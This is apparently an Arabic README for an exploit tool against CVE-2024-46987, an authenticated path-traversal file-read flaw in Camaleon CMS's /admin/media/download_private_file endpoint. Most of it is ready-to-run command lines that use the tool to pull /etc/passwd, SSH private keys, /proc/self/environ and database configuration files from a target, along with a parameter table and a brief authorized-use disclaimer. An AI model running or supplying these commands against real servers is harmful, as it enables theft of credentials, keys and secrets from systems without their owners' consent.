
CVE-2024-46987 - Camaleon CMS LFI استغلال
استغلال تضمين الملفات المحلي (LFI) الموثّق لـ Camaleon CMS.
Camaleon CMS معرض لهجوم LFI موثّق عبر نقطة النهاية /admin/media/download_private_file. لا يتم تعقيم معامل file بشكل صحيح، مما يسمح بتجاوز المسار لقراءة أي ملفات من الخادم.
pip install requests
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
هذه الأداة مخصصة لاختبار الأمان المصرح به ولأغراض تعليمية فقط. استخدمها فقط ضد الأنظمة التي لديك إذن صريح لاختبارها.
| المعامل | الوصف |
|---|
-u, --url | عنوان URL الهدف |
-f, --file | الملف المراد قراءته (مثال: /etc/passwd) |
-t, --token | قيمة الكوكي auth_token |
-o, --output | اسم ملف الإخراج (اختياري، يطبع في الطرفية إذا لم يُحدد) |